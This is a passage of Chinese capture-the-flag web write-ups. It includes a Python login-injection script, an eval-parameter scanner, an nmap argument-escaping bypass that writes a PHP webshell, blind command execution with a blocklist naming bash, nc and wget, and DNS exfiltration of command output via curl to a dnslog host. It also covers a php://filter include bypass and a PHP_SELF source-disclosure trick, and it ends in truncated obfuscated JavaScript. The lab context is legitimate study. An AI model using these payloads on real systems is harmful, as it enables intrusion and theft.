iv = "u2oh6Vu^HWe4_AES"





# 保存结果的文件名
output_file = "output1.txt"

# 读取保存的数据
with open(output_file, "r", encoding="utf-8") as file:
lines = file.readlines()

# 循环遍历每一行数据
for line in lines:
a = requests.session()

url = 'http://127.0.0.1:35849/v2/apis/sign/refreshQRCode'

b = a.get(url=url)
print(b.text)
# 提取signCode
signCode = re.findall(r'"signCode":"(.*?)"', b.text)
signCode = str(signCode)
signCode = signCode.replace("'", "").replace("[", "").replace("]", "")

# 提取enc值
enc = re.findall(r'"enc":"(.*?)"', b.text)
enc = str(enc)
enc = enc.replace("'", "").replace("[", "").replace("]", "")

print('signCode=', signCode)
print('enc=', enc)

number = line.strip() # 去除行末尾的换行符
plaintext = number
encrypted_text = encrypt_by_aes(plaintext, key, iv)
print('encrtpted==',encrypted_text)
url1='http://127.0.0.1:35849/fanyalogin'
data={
"fid":-1,
"uname":f"{encrypted_text}",
"password":f"{encrypted_text}",
"refer":"https%253A%252F%252Fi.chaoxing.com",
"t":"true",
"forbidotherlogin":0,
"doubleFactorLogin":0,
"independentId":0,
"independentNameId":0
}

cookies = {
"retainlogin": "1",
"token": "f5ba764e-040a-400c-ae13-80fedd7caac6"
}
login1=requests.session()
login = login1.post(url=url1,data=data)
print("data注入",login)
# print(login.cookies)
cook = login.cookies
print(cook)
for cookie in cook:
if cookie.name == "token":
token_value = cookie.value #token值
print(f"token={token_value}")
cookies["token"]=token_value
break # 找到后就可以停止遍历
print(cookies)

url2 =f'http://127.0.0.1:35849/widget/sign/e?id=4000000000000&c={signCode}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id'
login3s=requests.session()
login3 = login3s.get(url=url2,cookies=cookies)
print(login3)
time.sleep(0.5)

[强网杯 2019]高明的黑客


源码已经打包好了,下载

发现有三千多个php文件,且基本上每个文件都有eval可能会被利用,但毕竟三千多个文件我们不可能会一个一个试,所以我们写一个自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import os
import requests
import re
import threading
import time

print('开始时间: ' + time.asctime(time.localtime(time.time()))) # 只是一个简单的时间函数,看起来更漂亮罢了
s1 = threading.Semaphore(100) # 这儿设置最大的线程数
filePath = r"D:/websafe/phpstudy/phpstudy_pro/WWW/www/src/"
os.chdir(filePath) # 改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5 # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) # 得到该目录下所有文件的名称
session = requests.Session() # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False # 设置连接活跃状态为False


def get_content(file):
s1.acquire() # 好像与锁什么的相关,但是还是不太懂,多线程开启
print('trying ' + file + ' ' + time.asctime(time.localtime(time.time()))) # 更好看,同时可以对比不加线程和加线程的时间对比
with open(file, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} # 所有的$_POST
params = {} # 所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/www/src/' + file
req = session.post(url, data=data, params=params) # 一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
# print(content)
if "xxxxxx" in content: # 如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() # 对应于之前的多线程打开


for i in files: # 加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

多线程还是快,用了其它脚本跑了几个小时

找到可以利用的文件和参数,进入靶场

[网鼎杯 2020 朱雀组]Nmap


启动靶机,执行nmap命令
先输入正常内容127.0.0.1

看看能不能命令执行

可以看到|被\转义,应该是被escapeshellarg()和escapeshellcmd()转义
尝试使用其它管道符,也显示错误
nmap的一些用法

  • -oN 标准保存
  • -oX XML保存
  • -oG Grep保存
  • -oA 保存到所有格式
  • -append-output 补充保存文件

payload

1
' <?= @eval($_POST["a"]);?> -oG 1.phtml '


这里已经绕过了escapeshellarg和escapeshellcmd,虽然显示错误,但是已经成功写入1.phtml
php应该是被过滤了,采用phtml和?=替代php
最终flag

1
127.0.0.1 ' <?= @eval($_POST["a"]);?> -oG 1.phtml '

在1.phtml命令执行即可

还有一种做法

  • -iL读取扫描文件

payload

1
127.0.0.1 ' -iL /flag -o xixi '

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?
require('settings.php');


set_time_limit(0);
if (isset($_POST['host'])):
if (!defined('WEB_SCANS')) {
die('Web scans disabled');
}

$host = $_POST['host'];
if(stripos($host,'php')!==false){
die("Hacker...");
}
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

$filename = substr(md5(time() . rand(1, 10)), 0, 5);
$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);
if (is_null($result_scan)) {
die('Something went wrong');
} else {
header('Location: result.php?f=' . $filename);
}
else:
?>

[SWPUCTF 2021 新生赛]finalrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

过滤了很多函数
可以先用whomai和pwd这些没禁用的函数看看,发现没有回显,无回显RCE
尝试写入文件
这里用到tee命令:

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
payload

1
l\s /|tee 1.txt

l\s绕过这在linux中是允许的,同样的还有l’’s和l””s


或者用模糊查询

1
tac /fllll?aaaaaaggggggg|tee 1.txt

dns外带可以,但效果有限

1
?url=curl `l\s`.6lwgd3.dnslog.cn

[鹏城杯 2022]简单包含


这题貌似特别简单,给了入口伪协议就好,那么我们伪协议试试

竟然爆了waf,我们看一下index.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

解码后发现刚才的php代码竟然是假冒的
禁用了flag,当然这题可以filter链漏洞直接过
但是常规的办法是看它的if语句

1
strlen(file_get_contents('php://input')) < 800

因为是and的关系,所以我们要让第一个判断为false

1
2
3
4
5
6
<?php
$a = str_repeat('a',800);
echo $a;

?>

payload

1
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/convert.base64-encode/resource=flag.php

然后就执行了伪协议,将base64编码后的flag.php显示出来了

[鹤城杯 2021]EasyP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

先了解一下$_SERVER参数

1
2
3
案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root
$_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=root

$_SERVER’REQUEST_URI’不会将参数中的特殊符号进行转换,
也就是说它获取到的url上面的值,不会进行url解码

basename():返回路径中的文件名部分

例子:
127.0.0.1/pikachu/index.php?file=1.php 显示:1.php

127.0.0.1/pikachu/index.php?file=flag.php/1.php 显示:1.php

先上payload结合解释

1
/index.php/utils.php/%ff?%73how_source=1

/index.php/utils.php/%ff:在php中,/index.php/utils.php/%ff被解析为一个路径信息(Path info),并被设置为$_SERVER[‘PATH_INFO’] 变量的值。然后,这个路径信息会被添加到$_SERVER[‘PHP_SELF’] 中,即$_SERVER[‘PHP_SELF’] = ‘/index.php/utils.php/%ff’。

%ff是url编码中的一个特殊字符,代表一个非打印字符。在PHP中,非打印字符通常会被忽略。所以,/utils.php/%ff实际上被PHP解析为/utils.php/

然后,当PHP执行highlight_file(basename($_SERVER[‘PHP_SELF’]));这段代码时,basename($_SERVER[‘PHP_SELF’])会返回utils.php,因为basename()函数返回路径中的最后一部分,也就是文件名,所以,/index.php/utils.php/%ff 最终被解析为 /utils.php。
其中show_source还可以以show source或show+source替代

%ff的作用解析
当你访问/index.php/utils.php时,实际上你正在访问index.php这个文件,而/utils.php被视为“路径信息”这是因为在PHP中,路径信息是可以通过$_SERVER[‘PATH_INFO’]来获取的,而不是直接作为文件名处理的,所以当你调用basename(_SERVER[‘PHP_SELF’]) 时,它实际上会返回index.php,因为这是正在执行的脚本文件。

当你访问/index.php/utils.php/%ff时,情况就变了。%ff是一个URL编码的非打印字符,PHP在处理URL时会忽略它。因此utils.php/%ff实际上被解析为utils.php。这就使得basename($_SERVER[‘PHP_SELF’]) 返回 utils.php,而不是 index.php。

这是因为PHP在处理URL时,会将%ff之后的部分视为路径信息,而将%ff之前的部分视为文件名。所以在这种情况下utils.php%ff被解析为utils.php,并且basename($_SERVER[‘PHP_SELF’]) 会返回 utils.php。

值得注意的是

1
2
3
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

明明我们的url中有utils.php,但为什么没有触发这个正则呢,因为这个是后匹配(匹配输入字符串的结束位置)

可以用vps模拟一下这个过程
测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php


echo "SERVER['PHP_SELF'] = ".$_SERVER['PHP_SELF'];
echo '<br>';
var_dump(preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']));
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
echo 'basename = ='.basename($_SERVER['PHP_SELF']);
exit();
}else{
show_source(__FILE__);
}
?>

[GDOUCTF 2023]hate eat snake

游戏题

这种一般都是js,找一下flag
在snake.js中找到

貌似是自己的函数嵌套加密,js代码混淆
在网页上我们改不了js代码,但是我们可以把网页搬到本地里
然后把if(this’getScore’>0),创造一个我们自己的条件,本地运行

或者把那一整串加密函数复制下来放到控制台上

1
function _0x2615(){var _0x30b7fe=['C2vHCMnO','Dg9tDhjPBMC','DuLywKG','BgvUz3rO','CMv0DxjUicHMDq','y29UC29Szq','Aw5MBW','CM4GDgHPCYiPka','yvz6uuW','otuYnZiWwxDjwwHS','kcGOlISPkYKRkq','y29UC3rYDwn0BW','AZnYx2GWCgvFDa','ELvTAfO','Cu5JwK8','DvjNreK','zKHowxC','wwj5u3u','Aun1y2u','D2fYBG','AxjSzNjPzw5KFq','DuTYBhO','Eg5KCK4','A0viDfK','t1PAu04','wKDMC0O','yxbWBhK','C29huKO','ELbnu1a','sKnlqMu','mZq2ode4D1nKqvPl','B0fzAhy','C3bSAxq','nJiXmZCZmMXkqKvfwG','y3rVCIGICMv0Dq','BMn0Aw9UkcKG','mZe5odC1m0jfAfDJyG','ChjVDg90ExbL','zMLmywK','Bg9N','nZaWy1fIr1zd','sw16u0y','s2LOs0m','mZa2EfD0yNrK','x19WCM90B19F','qxbwC2y','zgPJrwG','EMPgDKG','uMjwufa','qvbHAMS','D21JtMu','yMLUza','mJe1mtbYsw9mqw0','zgzQELu','uNrItxe','mZKZmZuYCxvStLDN','mNWXFdb8nhW1Fa','vxLOBgS','tLntq1rgE0PFma','nta3mdi1ohnisvrvDq','s3nNzge','B19OyxzLx0bFzW','E30Uy29UC3rYDq'];_0x2615=function(){return _0x30b7fe;};return _0x2615();}(function(_0x9c05b6,_0x3cd1af){var _0x14de83={_0x2eff5d:0x515,_0x379093:0x517,_0x28a866:0x4fb,_0x138c8b:0x4d9,_0x44fc29:0x4ea,_0x31227a:0x4f8,_0x289b75:0xbb,_0x5370c2:0xc0,_0x5787b9:0xd5,_0x1ad93d:0xcd,_0xe984c4:0xc6,_0x237902:0xe9,_0x348752:0xc5,_0x31acff:0xc1,_0x29000f:0xa9,_0x27647b:0x52e,_0x460527:0x535,_0x2aaf24:0xd4,_0x399fbe:0xd2,_0x6657d2:0xcc,_0x374113:0xbe,_0x971dcb:0xbd,_0x2d75b0:0xca,_0x27e959:0xb5,_0x3154a8:0xb9},_0x3d91c3={_0x2b5c86:0x2a7},_0x2ef8df={_0xa9f18e:0x32f};function _0x19c108(_0x40885c,_0xff529f,_0x5259a1,_0x44205b){return _0x3b1f(_0x5259a1-_0x2ef8df._0xa9f18e,_0xff529f);}function _0x258a90(_0x130138,_0x35de99,_0x370399,_0x19391d){return _0x3b1f(_0x35de99- -_0x3d91c3._0x2b5c86,_0x19391d);}var _0x4c122a=_0x9c05b6();while(!![]){try{var _0x2f5b83=parseInt(_0x19c108(_0x14de83._0x2eff5d,0x515,0x4ff,_0x14de83._0x379093))/(-0x349*0x1+-0x3*0xba7+0x263f)+parseInt(_0x19c108(_0x14de83._0x28a866,_0x14de83._0x138c8b,_0x14de83._0x44fc29,_0x14de83._0x31227a))/(0x156b+0x8b*0xe+-0x1d03)+-parseInt(_0x258a90(-_0x14de83._0x289b75,-0xd1,-0xe4,-_0x14de83._0x5370c2))/(0x655*-0x1+-0x76*0x15+0x1006)+parseInt(_0x258a90(-_0x14de83._0x5787b9,-_0x14de83._0x1ad93d,-_0x14de83._0xe984c4,-_0x14de83._0x237902))/(-0x2028+0xecd*-0x1+0x2ef9)*(parseInt(_0x258a90(-_0x14de83._0x348752,-_0x14de83._0x31acff,-_0x14de83._0x29000f,-0xa2))/(0xb4e*-0x1+0x1236+-0x2b*0x29))+parseInt(_0x19c108(_0x14de83._0x27647b,_0x14de83._0x460527,0x51c,0x536))/(-0x22ad+-0x925+0x8*0x57b)+parseInt(_0x258a90(-0xd9,-_0x14de83._0x2aaf24,-_0x14de83._0x399fbe,-_0x14de83._0x2aaf24))/(-0x564+-0x2664+0x2bcf)+parseInt(_0x258a90(-_0x14de83._0x6657d2,-_0x14de83._0x374113,-0xa9,-0xcd))/(-0x178*-0x8+-0x1*-0x2af+0x1*-0xe67)*(-parseInt(_0x258a90(-_0x14de83._0x971dcb,-_0x14de83._0x2d75b0,-_0x14de83._0x27e959,-_0x14de83._0x3154a8))/(0x837+-0x7b9+-0xd*0x9));if(_0x2f5b83===_0x3cd1af)break;else _0x4c122a['push'](_0x4c122a['shift']());}catch(_0x37c27d){_0x4c122a['push'](_0x4c122a['shift']());}}}(_0x2615,-0x1d40d+0x5e216*-0x2+0x164db7));function _0x3b1f(_0x13dbeb,_0x5cc9c2){var _0x9dd244=_0x2615();return _0x3b1f=function(_0x6bb205,_0x1a837a){_0x6bb205=_0x6bb205-(-0xa10+-0xf4e+0x1b11);var _0x4a9901=_0x9dd244[_0x6bb205];if(_0x3b1f['ezcADE']===undefined){var _0x737fa1=function(_0xdd69cc){var _0x32b23a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x291519='',_0xe543a9='',_0x56d82c=_0x291519+_0x737fa1;for(var _0x38d1b8=0x1493+-0xf22+-0x571,_0x20fe78,_0x2e67a2,_0x112ad9=0x95f*0x1+0x17*-0x11d+0x103c;_0x2e67a2=_0xdd69cc['charAt'](_0x112ad9++);~_0x2e67a2&&(_0x20fe78=_0x38d1b8%(0x2248+0x1*-0x249e+-0x2b*-0xe)?_0x20fe78*(-0x11e2+-0x12*-0x13e+-0x43a)+_0x2e67a2:_0x2e67a2,_0x38d1b8++%(0x15f8+0x4*0x5db+0xb0*-0x42))?_0x291519+=_0x56d82c['charCodeAt'](_0x112ad9+(-0x17*0x13+-0xbe4+0x1*0xda3))-(0x1a*0x112+0x256*0x1+-0x1e20*0x1)!==-0xd32+-0x1*0x7f3+0x1*0x1525?String['fromCharCode'](-0x21b6+0x2686+-0x3d1&_0x20fe78>>(-(0x1*-0x1174+0x17c4+-0x64e)*_0x38d1b8&0x956+-0x1e86+0xf*0x16a)):_0x38d1b8:0x9b*-0xb+0xaa9*0x2+-0xea9){_0x2e67a2=_0x32b23a['indexOf'](_0x2e67a2);}for(var _0x399c03=0x25*0x86+-0x5*0xeb+-0xec7,_0x268f6f=_0x291519['length'];_0x399c03<_0x268f6f;_0x399c03++){_0xe543a9+='%'+('00'+_0x291519['charCodeAt'](_0x399c03)['toString'](-0x1*-0x1db8+-0x142*-0xf+-0x3086))['slice'](-(-0x121b+0x2418+-0x11fb));}return decodeURIComponent(_0xe543a9);};_0x3b1f['gtGaaQ']=_0x737fa1,_0x13dbeb=arguments,_0x3b1f['ezcADE']=!![];}var _0x10cea4=_0x9dd244[0x4*0x485+0xd15+-0x3*0xa63],_0x43aebe=_0x6bb205+_0x10cea4,_0x372eb9=_0x13dbeb[_0x43aebe];if(!_0x372eb9){var _0x3e361c=function(_0x45f181){this['YdeqDM']=_0x45f181,this['ZwSuYW']=[-0x1*-0xed7+-0x1575*0x1+-0x1*-0x69f,-0x5e*0x35+-0x1e0+0x1556,-0x1428+-0x1*0x2c1+0x16e9],this['LxWuRS']=function(){return'newState';},this['ZvCcme']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['yEXhLw']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3e361c['prototype']['lGgayY']=function(){var _0x1111a8=new RegExp(this['ZvCcme']+this['yEXhLw']),_0x18a410=_0x1111a8['test'](this['LxWuRS']['toString']())?--this['ZwSuYW'][0x2b3*-0xd+-0x8ab+0x2bc3]:--this['ZwSuYW'][-0x427*0x1+0x248a+-0x2063];return this['dFEYfX'](_0x18a410);},_0x3e361c['prototype']['dFEYfX']=function(_0x29be5c){if(!Boolean(~_0x29be5c))return _0x29be5c;return this['QPabUn'](this['YdeqDM']);},_0x3e361c['prototype']['QPabUn']=function(_0x400659){for(var _0x56e46c=-0x947+-0x1c0e+-0x13*-0x1f7,_0x137603=this['ZwSuYW']['length'];_0x56e46c<_0x137603;_0x56e46c++){this['ZwSuYW']['push'](Math['round'](Math['random']())),_0x137603=this['ZwSuYW']['length'];}return _0x400659(this['ZwSuYW'][-0x1*-0x1c8b+0x574+-0x21ff]);},new _0x3e361c(_0x3b1f)['lGgayY'](),_0x4a9901=_0x3b1f['gtGaaQ'](_0x4a9901),_0x13dbeb[_0x43aebe]=_0x4a9901;}else _0x4a9901=_0x372eb9;return _0x4a9901;},_0x3b1f(_0x13dbeb,_0x5cc9c2);}var _0xe3a40f=(function(){var _0xa08eff={_0x4ef0ad:0x132,_0x22ef19:0x13d,_0x2bc994:0x10a,_0x572812:0x12a,_0x265475:0x153,_0x4a1f2d:0x169,_0x47ee9e:0x143,_0x36b087:0x14a,_0x24c4fe:0x93,_0x1b2ec9:0xaf,_0x417b61:0x94,_0xca6d53:0x99,_0x17a7c5:0xb2,_0x54f6fb:0xa2,_0x37e0ba:0xaa,_0x3bf4f1:0xc0,_0x3d4138:0x13b,_0x5e7f7e:0x11b},_0x23f48c={_0x45fca3:0x1e3,_0x388cc1:0x1ee,_0x52ef39:0x1cf,_0x46a0ad:0x1ce,_0x147ee6:0x1c2},_0x3655fa={_0x295058:0x29f,_0x3260c2:0x2b8,_0x2fde01:0x2b5,_0x41dea7:0x2c0,_0x44620a:0x2cc,_0x310c84:0x2b9},_0x40c435={_0x114861:0x312},_0x3f94c6={};_0x3f94c6[_0x47cdc4(-_0xa08eff._0x4ef0ad,-_0xa08eff._0x22ef19,-_0xa08eff._0x2bc994,-_0xa08eff._0x572812)]='tSnSD';function _0x47cdc4(_0x407d27,_0x519718,_0x55f154,_0x2e3d6d){return _0x3b1f(_0x2e3d6d- -_0x40c435._0x114861,_0x407d27);}_0x3f94c6[_0x47cdc4(-_0xa08eff._0x265475,-_0xa08eff._0x4a1f2d,-_0xa08eff._0x47ee9e,-_0xa08eff._0x36b087)]=_0x17f6d4(-_0xa08eff._0x24c4fe,-_0xa08eff._0x1b2ec9,-_0xa08eff._0x417b61,-0x85),_0x3f94c6[_0x17f6d4(-_0xa08eff._0xca6d53,-0xab,-0x9b,-_0xa08eff._0x17a7c5)]=function(_0x46e4eb,_0x351c7f){return _0x46e4eb!==_0x351c7f;},_0x3f94c6[_0x17f6d4(-_0xa08eff._0x54f6fb,-_0xa08eff._0x37e0ba,-0xbf,-_0xa08eff._0x3bf4f1)]=_0x47cdc4(-_0xa08eff._0x3d4138,-_0xa08eff._0x5e7f7e,-0x14d,-_0xa08eff._0x4ef0ad);function _0x17f6d4(_0x3f62ee,_0x475c98,_0xe91d2a,_0x16640e){return _0x3b1f(_0xe91d2a- -0x282,_0x475c98);}var _0x58a5c3=_0x3f94c6,_0x2b2d86=!![];return function(_0x58f58f,_0x155082){var _0x29b99c={_0x5b3b43:0x17b,_0x4ed988:0xf6},_0x3ea797={_0x5f5192:0x174,_0x2817be:0xd8},_0x53d249={_0x2b52f7:0x4c,_0x55cf12:0x28d,_0x1ea0e4:0x66},_0x478556={_0x590b31:0x154,_0x4ad502:0x3a2,_0x5de42d:0x53};function _0x1f4917(_0x598525,_0x58ffdb,_0x475520,_0x9449f2){return _0x17f6d4(_0x598525-_0x478556._0x590b31,_0x598525,_0x475520-_0x478556._0x4ad502,_0x9449f2-_0x478556._0x5de42d);}function _0x1f060f(_0x4c2543,_0x16ffc7,_0x202b3d,_0x498f7a){return _0x17f6d4(_0x4c2543-_0x53d249._0x2b52f7,_0x4c2543,_0x202b3d-_0x53d249._0x55cf12,_0x498f7a-_0x53d249._0x1ea0e4);}if(_0x58a5c3[_0x1f060f(0x1d9,_0x23f48c._0x45fca3,0x1f2,_0x23f48c._0x388cc1)](_0x58a5c3[_0x1f060f(_0x23f48c._0x52ef39,0x1b7,_0x23f48c._0x46a0ad,_0x23f48c._0x147ee6)],'djcEh')){var _0x121d40={_0x399041:0x48f,_0xda48dd:0x4b5,_0x12c9aa:0x4a3},_0x9c5d2b={_0x13395d:0xb5,_0x2ba18c:0x1b7},_0x299386=_0x140454?function(){function _0xe54654(_0xff35d7,_0x2eabec,_0xf0fba7,_0x56791e){return _0x1f4917(_0xf0fba7,_0x2eabec-_0x9c5d2b._0x13395d,_0x56791e-_0x9c5d2b._0x2ba18c,_0x56791e-0x11a);}if(_0x241793){var _0x9ba59f=_0x5f5c1b[_0xe54654(_0x121d40._0x399041,0x4a9,_0x121d40._0xda48dd,_0x121d40._0x12c9aa)](_0x4746f1,arguments);return _0x4e1409=null,_0x9ba59f;}}:function(){};return _0x1fdeb7=![],_0x299386;}else{var _0x4c214f=_0x2b2d86?function(){function _0x269dd1(_0x551565,_0x4fb373,_0x5317a2,_0x2480fc){return _0x1f4917(_0x551565,_0x4fb373-_0x3ea797._0x5f5192,_0x4fb373-0x273,_0x2480fc-_0x3ea797._0x2817be);}function _0x39ec60(_0x150153,_0x5d49c2,_0x418287,_0x57aad6){return _0x1f060f(_0x5d49c2,_0x5d49c2-_0x29b99c._0x5b3b43,_0x418287-0xe2,_0x57aad6-_0x29b99c._0x4ed988);}if(_0x58a5c3['RtbMq']!==_0x58a5c3[_0x39ec60(_0x3655fa._0x295058,_0x3655fa._0x3260c2,_0x3655fa._0x2fde01,_0x3655fa._0x41dea7)]){if(_0x155082){var _0x14cc2a=_0x155082[_0x39ec60(0x2bd,_0x3655fa._0x44620a,_0x3655fa._0x310c84,0x29f)](_0x58f58f,arguments);return _0x155082=null,_0x14cc2a;}}else{var _0x34fb23=_0x34f28e?function(){if(_0x102b00){var _0x7d04e0=_0x49b548['apply'](_0x544e8c,arguments);return _0x4e84cf=null,_0x7d04e0;}}:function(){};return _0x2019d8=![],_0x34fb23;}}:function(){};return _0x2b2d86=![],_0x4c214f;}};}()),_0x9d6323=_0xe3a40f(this,function(){var _0x3e95={_0x308ee1:0xf,_0x3b3319:0x19,_0x2164b1:0x41,_0x3fb1c9:0x37,_0x438b66:0x44,_0x1fdf8c:0x14,_0x50244f:0x7,_0x336362:0x21,_0x32496e:0x39,_0x160f93:0x37,_0xbb9faa:0x54,_0x23bbeb:0x2d,_0x51d26b:0x16,_0x65072d:0x26,_0x188b75:0xe,_0x30008e:0x3,_0x1aab7d:0x18,_0x3b2c72:0x1a,_0xf0b648:0x37,_0xba4d7:0x50,_0x377e40:0x27,_0x5b4725:0x2f,_0x435c34:0x17,_0x4fd6df:0xd},_0x387847={_0x35bca4:0x17b},_0x308184={};_0x308184[_0xe0b24e(_0x3e95._0x308ee1,0x17,0x2,_0x3e95._0x3b3319)]=_0x22aa6e(0x2d,_0x3e95._0x2164b1,_0x3e95._0x3fb1c9,_0x3e95._0x438b66)+'+$';function _0xe0b24e(_0x5d8370,_0x47708a,_0x9bf602,_0x161491){return _0x3b1f(_0x47708a- -0x1ba,_0x161491);}var _0x186c58=_0x308184;function _0x22aa6e(_0x5483d7,_0x3792da,_0x5cb13b,_0x24729c){return _0x3b1f(_0x3792da- -_0x387847._0x35bca4,_0x24729c);}return _0x9d6323[_0xe0b24e(-_0x3e95._0x1fdf8c,-_0x3e95._0x50244f,-0x17,-_0x3e95._0x336362)]()[_0xe0b24e(_0x3e95._0x32496e,_0x3e95._0x160f93,_0x3e95._0xbb9faa,_0x3e95._0x23bbeb)]('(((.+)+)+)'+'+$')[_0xe0b24e(-_0x3e95._0x51d26b,-_0x3e95._0x50244f,-_0x3e95._0x65072d,0x2)]()[_0xe0b24e(-_0x3e95._0x188b75,_0x3e95._0x30008e,_0x3e95._0x1aab7d,-0x1c)+'r'](_0x9d6323)[_0xe0b24e(_0x3e95._0x3b2c72,_0x3e95._0xf0b648,_0x3e95._0xba4d7,_0x3e95._0x377e40)](_0x186c58[_0xe0b24e(_0x3e95._0x5b4725,_0x3e95._0x435c34,0x0,_0x3e95._0x4fd6df)]);});_0x9d6323();function _0x324fcb(_0xb79ef8,_0x5677da,_0x2aede5,_0x2b1b75){var _0x5afa09={_0xd41db0:0xed};return _0x3b1f(_0xb79ef8-_0x5afa09._0xd41db0,_0x2aede5);}var _0x18bc3c=(function(){var 